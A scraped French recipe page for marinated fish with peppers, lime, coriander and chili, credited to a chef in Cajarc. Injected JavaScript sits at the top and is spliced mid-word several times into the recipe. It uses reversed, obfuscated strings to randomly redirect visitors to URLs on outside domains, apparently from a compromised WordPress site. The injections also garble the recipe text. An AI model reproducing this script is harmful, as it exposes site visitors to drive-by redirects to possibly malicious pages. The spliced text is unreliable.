) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_1558801906018{padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 10px !important;padding-right: 10px !important;padding-bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Claude-Emmanuel ROBIN, membre des « Bonnes Tables du Lot » chef du restaurant « L’Allée des Vignes à Cajarc
http://www.alleedesvignes.com/

Pour 4 personnes
INGREDIENTS :
1 filet de poisson (Maigre, Cabillaud, Bar) entre 300 et 400g
1 poivron rouge, 1 vert, 1 jaune
Coriandre
2 citrons verts
1 citron jaune
1 oignon
1 piment (type piment oiseau)
Huile d’olive

Couper le filet de poisson en carré, et laisser mariner 4 à 6 h au frais dans un récipient avec un trait d’huile d’olive et le jus de 2 citrons verts et 1 citron jaune.
Ciseler finement le poivron rouge, jaune et vert, l’oignon, ainsi qu’un piment. Tailler en petits cubes la toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomate, et hacher finement la coriandre.
Une fois le poisson cuit dans sa marinade, égoutter et mélanger avec toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ingrédients. Rectifier l’assaisonnement avant de dresser sur assiette.

Recette
Temps de préparation : 15 min

Temps de cuisson : 240 min

Ingrédient :
1 filet de poisson (Maigre, Cabillaud, Bar) entre 300 et 400g
1 poivron rouge, 1 vert, 1 jaune
Coriandre
2 citrons verts
1 citron jaune
1 oignon
1 piment (type piment oiseau)
Huile d’olive